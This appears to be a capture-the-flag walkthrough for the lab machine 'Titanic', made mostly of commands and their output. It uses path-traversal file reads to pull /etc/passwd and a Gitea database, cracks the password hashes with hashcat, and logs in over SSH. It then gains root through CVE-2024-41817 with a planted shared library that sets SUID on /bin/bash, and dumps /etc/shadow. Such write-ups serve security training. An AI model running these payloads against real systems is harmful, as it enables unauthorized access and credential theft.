Enum

$ export IP=
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
[~] Automatically increasing ulimit value to 10000.
Open 10.129.192.4:22
Open 10.129.192.4:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGZG4yHYcDPrtn7U0l+ertBhGBgjIeH9vWnZcmqH0cvmCNvdcDY/ItR3tdB4yMJp0ZTth5itUVtlJJGHRYAZ8Wg=
|   256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDT1btWpkcbHWpNEEqICTtbAcQQitzOiPOmc3ZE0A69Z
80/tcp open  http    syn-ack Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Update /etc/hosts
$ echo "$IP titanic.htb" | sudo tee -a /etc/hosts
  • gobuster to find subdomains
$ gobuster dns -d titanic.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     titanic.htb
[+] Threads:    10
[+] Timeout:    1s
[+] Wordlist:   /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
===============================================================
Starting gobuster in DNS enumeration mode
===============================================================
Found: dev.titanic.htb
 
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================
  • Add this to /etc/hosts as well
$ echo "$IP dev.titanic.htb" | sudo tee -a /etc/hosts
  • gobuster this new endpoint as well
$ gobuster dir -u http://dev.titanic.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://dev.titanic.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.well-known/change-password (Status: 303) [Size: 49] [--> /user/settings/account]
/.well-known/openid-configuration (Status: 200) [Size: 1208]
/.well-known/security.txt (Status: 200) [Size: 340]
/admin                (Status: 303) [Size: 38] [--> /user/login]
/administrator        (Status: 200) [Size: 19998]
/developer            (Status: 200) [Size: 25151]
/explore              (Status: 303) [Size: 41] [--> /explore/repos]
/favicon.ico          (Status: 301) [Size: 58] [--> /assets/img/favicon.png]
/issues               (Status: 303) [Size: 38] [--> /user/login]
/notifications        (Status: 303) [Size: 38] [--> /user/login]
/sitemap.xml          (Status: 200) [Size: 285]
/v2                   (Status: 401) [Size: 50]
Progress: 4723 / 4724 (99.98%)
===============================================================
Finished
===============================================================

from flask import Flask, request, jsonify, send_file, render_template, redirect, url_for, Response
import os
import json
from uuid import uuid4
 
app = Flask(__name__)
 
TICKETS_DIR = "tickets"
 
if not os.path.exists(TICKETS_DIR):
    os.makedirs(TICKETS_DIR)
 
@app.route('/')
def index():
    return render_template('index.html')
 
@app.route('/book', methods=['POST'])
def book_ticket():
    data = {
        "name": request.form['name'],
        "email": request.form['email'],
        "phone": request.form['phone'],
        "date": request.form['date'],
        "cabin": request.form['cabin']
    }
 
    ticket_id = str(uuid4())
    json_filename = f"{ticket_id}.json"
    json_filepath = os.path.join(TICKETS_DIR, json_filename)
 
    with open(json_filepath, 'w') as json_file:
        json.dump(data, json_file)
 
    return redirect(url_for('download_ticket', ticket=json_filename))
 
@app.route('/download', methods=['GET'])
def download_ticket():
    ticket = request.args.get('ticket')
    if not ticket:
        return jsonify({"error": "Ticket parameter is required"}), 400
 
    json_filepath = os.path.join(TICKETS_DIR, ticket)
 
    if os.path.exists(json_filepath):
        return send_file(json_filepath, as_attachment=True, download_name=ticket)
    else:
        return jsonify({"error": "Ticket not found"}), 404
 
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)
  • Unsanitzed ticket name Test LFI
$ curl -s http://titanic.htb/download\?ticket\=../../../../etc/passwd | grep 'bash'
 
root:x:0:0:root:/root:/bin/bash
developer:x:1000:1000:developer:/home/developer:/bin/bash

User

  • Successful LFI Check Default Gitea locations
$ curl http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini
*snip*
 
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
LOG_SQL = false
SCHEMA =
SSL_MODE = disable
 
*snip*
  • Grab gitea.db to crack hashes
$ curl http://titanic.htb/download?ticket=../../../../../home/developer/gitea/data/gitea/gitea.db -o gitea.db
 
$ sqlite3 gitea.db "SELECT name, salt, passwd FROM user;"
 
administrator|2d149e5fbd1b20cf31db3e3c6a28fc9b|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136
 
developer|8bf3e3452b78544f8bee9400d6936d34|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56
  • Remember HTB Compiled?
  • (gitea.db hashcat) { HEX B64 }
sha256:50000:LRSeX70bIM8x2z48aij8mw==:y6IMz5J9OtBWe2gWFzLT+8oJjOiGu8kjtAYqOWDUWcCNLfwGOyQGrJIHyYDEfF0BcTY=
sha256:50000:i/PjRSt4VE+L7pQA1pNtNA==:5THTmJRhN7rqcO1qaApUOF7P8TEwnAvY8iXyhEBrfLyO/F2+8wvxaCYZJjRE6llM+1Y=
  • Crack with hashcat
$ hashcat 'sha256:50000:8bf3e3452b78544f8bee9400d6936d34:e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' --wordlist /usr/share/wordlists/rockyou.txt
  • developer@titanic.htb : 25282528
$ sshpass -p '25282528' ssh developer@titanic.htb
 
developer@titanic:~$ cat user.txt
  • Could also have LFI the user flag
$ curl -s http://titanic.htb/download\?ticket\=../../../../home/developer/user.txt
42c2fbc0bcad2a65d2aa7c0064b51df3

Root

  • No sudo -l Check /opt
developer@titanic:~$ ls -la /opt
total 20
drwxr-xr-x  5 root root      4096 Feb  7 10:37 .
drwxr-xr-x 19 root root      4096 Feb  7 10:37 ..
drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app
drwx--x--x  4 root root      4096 Feb  7 10:37 containerd
drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts
 
developer@titanic:~$ ls -la /opt/scripts
total 12
drwxr-xr-x 2 root root 4096 Feb  7 10:37 .
drwxr-xr-x 5 root root 4096 Feb  7 10:37 ..
-rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh
 
developer@titanic:~$ cat /opt/scripts/identify_images.sh
 
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
 
developer@titanic:~$ /usr/bin/magick -version
  • CVE-2024-41817
  • Need to generate payload within /opt/app/static/assets/images
$ developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
__attribute__((constructor)) void init() {
    system("chmod +s /bin/bash");
}
EOF
  • Takes a few seconds but eventually can see SUID set on /bin/bash
  • All we have to do is bash -p once SUID is updated
developer@titanic:/opt/app/static/assets/images$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
 
developer@titanic:/opt/app/static/assets/images$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
 
developer@titanic:/opt/app/static/assets/images$ bash -p
 
bash-5.1$ id
uid=1000(developer) gid=1000(developer) euid=0(root) egid=0(root) groups=0(root),1000(developer)
 
bash-5.1$ ls /root
cleanup.sh  images  revert.sh  root.txt  snap
 
bash-5.1$ cat /etc/shadow
root:$y$j9T$FEVNYiA6DwY7GiuIjF42Y0$DqhzPlCnT7fI5E3c6LQ0Wx7ym/PhY0swKTKUczhwwv6:19937:0:99999:7:::
developer:$y$j9T$Sof1eV6yeubj9QaCTbzxd1$WsWRB9X8pgYiJozBaqsEsA/wJRjlWk6iKXv6VNG/fU5:19937:0:99999:7:::